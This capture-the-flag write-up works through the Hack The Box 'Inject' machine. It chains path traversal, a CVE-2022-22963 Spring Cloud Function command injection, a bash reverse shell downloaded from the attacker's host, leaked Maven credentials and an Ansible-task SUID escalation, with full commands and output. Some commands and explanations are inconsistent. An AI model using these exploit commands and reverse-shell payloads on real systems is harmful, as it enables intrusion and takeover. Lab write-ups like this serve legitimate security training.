Pawned: 15/03/23
Tags: LFI, Path Traversal, Spring Framework Vulnerability, Bash Reverse Shell, Malicious Automated Task
Enumeration
First, as always, we use an nmap
version and script scan to
start off the enumeration.
┌──(vin36㉿kaliVM)-[~/Desktop/HTB]
└─$
nmap -sV -sC 10.10.11.204
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-15 14:41 AEDT
Nmap scan report for 10.10.11.204
Host is up (0.067s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 caf10c515a596277f0a80c5c7c8ddaf8 (RSA)
| 256 d51c81c97b076b1cc1b429254b52219f (ECDSA)
|_ 256 db1d8ceb9472b0d3ed44b96c93a7f91d (ED25519)
8080/tcp open nagios-nsca Nagios NSCA
|_http-title: Home
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.25 seconds
On this machine, the default HTTP port, 80, isn't open. However, we see that 8080 is open. This is a common alternative
port for HTTP traffic. Therefore, we can try visiting the site by explicitly overriding the default port using
this URL: http://10.10.11.204:8080
.
On the site, we see log-in and sign-up links, but they don't work. The only thing we can do is upload images.
This seems like a perfect place to upload a reverse shell.
However, after trying many different techniques, like the ones mentioned in this
blog post,
it would seem that this is a rabbit hole.
Instead, if we look at the URL to view the image, it appears to be vulnerable to LFI and path traversal.
So let's try it by entering this URL: http://10.10.11.204:8080/show_image?img=nonexistent.file
.
Doing so gives us a promising error of 500. Next, we'll try to get an actual file, namely, the "passwd" file:
http://10.10.11.204:8080/show_image?img=../../../../../../etc/passwd
.
This time, instead of a 500 error, we get the same "cannot be displayed error" as before.
To look inside the file, we could view source. (For some reason, while this can be done in Chromium browsers, Firefox doesn't have
this feature.) However, an even better way is to use curl
:
┌──(vin36㉿kaliVM)-[~/Desktop/HTB
]
└─$
curl http://10.10.11.204:8080/show_image?img=../../../../../../etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
SNIP
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
frank:x:1000:1000:frank:/home/frank:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
sshd:x:113:65534::/run/sshd:/usr/sbin/nologin
phil:x:1001:1001::/home/phil:/bin/bash
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
_laurel:x:997:996::/var/log/laurel:/bin/false
As we can see, curl
allows us to view "passwd". Inside, we see two users of note: "frank" and "phil".
This isn't particularly helpful to us at the moment, so we'll have to keep looking around, using curl
like cat
.
Incredibly, using curl
on directories also works like ls
:
┌──(vin36㉿kaliVM)-[~/Desktop/HTB]
└─$
curl http://10.10.11.204:8080/show_image?img=../
java
resources
uploads
Initial Foothold
Armed with these tools, we can snoop around the machine.
┌──(vin36㉿kaliVM)-[~/Desktop/HTB]
└─$
curl http://10.10.11.204:8080/show_image?img=../
java
resources
uploads
^C
┌──(vin36㉿kaliVM)-[~/Desktop/HTB]
└─$
curl http://10.10.11.204:8080/show_image?img=../../
main
test
^C
┌──(vin36㉿kaliVM)-[~/Desktop/HTB]
└─$
curl http://10.10.11.204:8080/show_image?img=../../../
.classpath
.DS_Store
.idea
.project
.settings
HELP.md
mvnw
mvnw.cmd
pom.xml
src
target
^C
We find an interesting file called "pom.xml", inside which we see this:
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.6.5</version>
<relativePath/> <!-- lookup parent from repository -->
</parent>
SNIP
This implies that the server uses the Spring Framework.
After a quick Google search, we find out that this framework is vulnerable to
CVE-2022-22963.
Let's first test out this exploit:
┌──(vin36㉿kaliVM)-[~/Desktop/HTB
]
└─$
curl -X POST http://10.10.11.204:8080/functionRouter -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("touch /tmp/testing1212")' --data-raw 'data' -v
Note: Unnecessary use of -X or --request, POST is already inferred.
* Trying 10.10.11.204:8080...
* Connected to 10.10.11.204 (10.10.11.204) port 8080 (#0)
> POST /functionRouter HTTP/1.1
> Host: 10.10.11.204:8080
> User-Agent: curl/7.87.0
> Accept: */*
> spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("touch /tmp/testing1212")
> Content-Length: 4
> Content-Type: application/x-www-form-urlencoded
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 500
< Content-Type: application/json
< Transfer-Encoding: chunked
< Date: Sun, 19 Mar 2023 02:33:42 GMT
< Connection: close
<
* Closing connection 0
{"timestamp":"2023-03-19T02:33:42.301+00:00","status":500,"error":"Internal Server Error","message":"EL1001E: Type conversion problem, cannot convert from java.lang.ProcessImpl to java.lang.String","path":"/functionRouter"}
┌──(vin36㉿kaliVM)-[~/Desktop/HTB
]
└─$
curl http://10.10.11.204:8080/show_image?img=../../../../../../tmp
.font-unix
.ICE-unix
.Test-unix
.X11-unix
.XIM-unix
SNIP
systemd-private-f6cac95a43d44327b084090e47eb8144-ModemManager.service-zPSFHg
systemd-private-f6cac95a43d44327b084090e47eb8144-systemd-logind.service-aXMxrj
systemd-private-f6cac95a43d44327b084090e47eb8144-systemd-resolved.service-KNqHxi
systemd-private-f6cac95a43d44327b084090e47eb8144-systemd-timesyncd.service-nYWmzi
systemd-private-f6cac95a43d44327b084090e47eb8144-upower.service-XJ3k6f
tapoi
testing1212
tomcat.8080.2018674911198131871
tomcat.8080.3177017922472356463
tomcat-docbase.8080.13737629690498541010
vmware-root_738-2999591909
As we can see, the exploit successfully creates a file in the "tmp" directory.
Note that there are a lot of extraneous files that other HTB users have left there. I would recommend not opening any of them.
Anyways, now that we know that the exploit works, we can create a reverse shell payload. However, since this exploit executes commands in the form of a string, I found it
aquite difficult to create reverse shell using echo
. This was mainly because of the use of delimiters and quotation marks.
Instead, we can use curl
to grab a payload that we have premade on our attacking machine. To do so,
we need to first make a payload. Many can be found on PayloadsAllTheThings'
reverse shell cheatsheet.
I used this one:
bash -c 'bash -i >& /dev/tcp/[RHOST]/[RPOST] 0>&1'
We need to change [RHOST] and [RPORT] to our attacking machine's IP and our chosen listening port, respectively.
Let's go with [RPORT] = 8443.
After this payload into a file called, say, "revshell.sh", we'll start a local web server on our attacking machine:
┌──(vin36㉿kaliVM)-[~/Desktop/HTB]
└─$
python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
Now on another terminal, we can transfer the reverse shell onto the target machine and then check that
this was successful:
┌──(vin36㉿kaliVM)-[~/Desktop/HTB]
└─$
curl -X POST http://10.10.11.204:8080/functionRouter -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("wcurl http://10.10.14.4:8000/revshell.sh -o /tmp/rev")' --data-raw 'data' -v
Note: Unnecessary use of -X or --request, POST is already inferred.
* Trying 10.10.11.204:8080...
* Connected to 10.10.11.204 (10.10.11.204) port 8080 (#0)
> POST /functionRouter HTTP/1.1
> Host: 10.10.11.204:8080
> User-Agent: curl/7.87.0
> Accept: */*
> spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("curl http://10.10.14.2:8080/revshell.sh -o /tmp/rev")
> Content-Length: 4
> Content-Type: application/x-www-form-urlencoded
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 500
< Content-Type: application/json
< Transfer-Encoding: chunked
< Date: Sun, 19 Mar 2023 07:41:03 GMT
< Connection: close
<
* Closing connection 0
{"timestamp":"2023-03-19T07:41:03.514+00:00","status":500,"error":"Internal Server Error","message":"EL1001E: Type conversion problem, cannot convert from java.lang.ProcessImpl to java.lang.String","path":"/functionRouter"}
┌──(vin36㉿kaliVM)-[~/Desktop/HTB]
└─$
curl http://10.10.11.204:8080/show_image?img=../../../../../../tmp/rev
bash -c 'bash -i >& /dev/tcp/10.10.14.2/8443 0>&1'
Next, we'll start an nc
listener on our chosen port:
┌──(vin36㉿kaliVM)-[~/Desktop/HTB]
└─$
nc -lvnp 8443
listening on [any] 8443 ...
And then finally we can execute the payload:
┌──(vin36㉿kaliVM)-[~/Desktop/HTB]
└─$
curl -X POST http://10.10.11.204:8080/functionRouter -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("bash /tmp/rev")' --data-raw 'data' -v
Note: Unnecessary use of -X or --request, POST is already inferred.
* Trying 10.10.11.204:8080...
* Connected to 10.10.11.204 (10.10.11.204) port 8080 (#0)
> POST /functionRouter HTTP/1.1
> Host: 10.10.11.204:8080
> User-Agent: curl/7.87.0
> Accept: */*
> spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("bash /tmp/rev")
> Content-Length: 4
> Content-Type: application/x-www-form-urlencoded
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 500
< Content-Type: application/json
< Transfer-Encoding: chunked
< Date: Sun, 19 Mar 2023 07:42:42 GMT
< Connection: close
<
* Closing connection 0
{"timestamp":"2023-03-19T07:42:42.756+00:00","status":500,"error":"Internal Server Error","message":"EL1001E: Type conversion problem, cannot convert from java.lang.ProcessImpl to java.lang.String","path":"/functionRouter"}
Back on our nc
listener, we see that we have gotten a reverse shell as "frank". However, we need to have the
permissions of "phil" to get the user flag.
┌──(vin36㉿kaliVM)-[~/Desktop/HTB]
└─$
nc -lvnp 8443
listening on [any] 8443 ...
connect to [10.10.14.2] from (UNKNOWN) [10.10.11.204] 56702
bash: cannot set terminal process group (20006): Inappropriate ioctl for device
bash: no job control in this shell
bash-5.0$ id
id
uid=1000(frank) gid=1000(frank) groups=1000(frank)
bash-5.0$ cat /home/phil/user.txt
cat /home/phil/user.txt
cat: /home/phil/user.txt: Permission denied
Since we don't know the password for "frank", we don't have access to sudo
. What we can do it look inside the hidden directories
in their home directory to see what we can find:
bash-5.0$ cd /home/frank
cd /home/frank
bash-5.0$ ls
ls
bash-5.0$ ls -al
ls -al
total 32
drwxr-xr-x 6 frank frank 4096 Mar 19 07:43 .
drwxr-xr-x 4 root root 4096 Feb 1 18:38 ..
drwxr-xr-x 3 frank frank 4096 Mar 19 07:43 .ansible
lrwxrwxrwx 1 root root 9 Jan 24 13:57 .bash_history -> /dev/null
-rw-r--r-- 1 frank frank 3786 Apr 18 2022 .bashrc
drwx------ 2 frank frank 4096 Feb 1 18:38 .cache
drwxr-xr-x 3 frank frank 4096 Feb 1 18:38 .local
drwx------ 2 frank frank 4096 Feb 1 18:38 .m2
-rw-r--r-- 1 frank frank 807 Feb 25 2020 .profile
bash-5.0$ cd .m2
cd .m2
bash-5.0$ ls
ls
settings.xml
bash-5.0$ cd settings.xml
cd settings.xml
bash: cd: settings.xml: Not a directory
bash-5.0$ cat settings.xml
cat settings.xml
<?xml version="1.0" encoding="UTF-8"?>
<settings xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<servers>
<server>
<id>Inject</id>
<username>phil</username>
<password>DocPhillovestoInject123</password>
<privateKey>${user.home}/.ssh/id_dsa</privateKey>
<filePermissions>660</filePermissions>
<directoryPermissions>660</directoryPermissions>
<configuration></configuration>
</server>
</servers>
</settings>
Inside "settings.xml" which was inside ".m2", we see credentials:
Username: phil, Password: DocPhillovestoInject123.
These aren't ssh
but sudo
ones, so we'll elevate privileges to "phil" and then grab the
user flag. Note that the flags get randomized periodically.
bash-5.0$ su phil
su phil
Password: DocPhillovestoInject123
python3 -c 'import pty; pty.spawn("/bin/bash")'
bash-5.0$ id
id
uid=1001(phil) gid=1001(phil) groups=1001(phil),50(staff)
bash-5.0$ cat /home/phil/user.txt
cat /home/phil/user.txt
ac79931e201d21220b3a60dc3355896a
Privilege Escalation
Looking around the machine, we find a file called "playbook_1.yml" inside "/opt/automation/tasks":
bash-5.0$ cat /opt/automation/tasks/dawda.yml
cat /opt/automation/tasks/dawda.yml
- hosts: localhost
tasks:
- name: Checking webapp service
ansible.builtin.systemd:
name: webapp
enabled: yes
state: started
It would seem like the files inside the "opt/automation/tasks" directory get automatically executed. So inside this directory,
we'll create a malicious task:
bash-5.0$ echo "- hosts: localhost
tasks:
- name: Priv esc
ansible.builtin.shell: |
chmod +s /bin/bash
become: true
" > pe.yml
SNIP
The chmod +s /bin/bash
command makes the directory "/bin/bash" executable.
We'll wait a few minutes for the "pe.yml" to get run, then we'll execute "/bin/bash"
with nest directories using the -p
flag:
bash-5.0$ bash -p
bash -p
bash-5.0# id
id
uid=1001(phil) gid=1001(phil) euid=0(root) egid=0(root) groups=0(root), 50(staff), 1001(phil)
Now that we have root access, we can obtain the root flag located in "/root/root.txt":
bash-5.0# cat /root/root.txt
cat /root/root.txt
70414abed93dff70eaf1c4428b958ec2
We have now finished hacking the box, but we must remember to clean up after ourselves (it seems "pe.yml" was automatically deleted for us):
bash-5.0# rm /opt/automation/tasks/pe.yml
rm /opt/automation/tasks/pe.yml
rm: cannot remove '/opt/automation/tasks/pe.yml': No such file or directory
bash-5.0# rm /tmp/testing1212
rm /tmp/testing1212
bash-5.0# rm /tmp/rev
rm /tmp/rev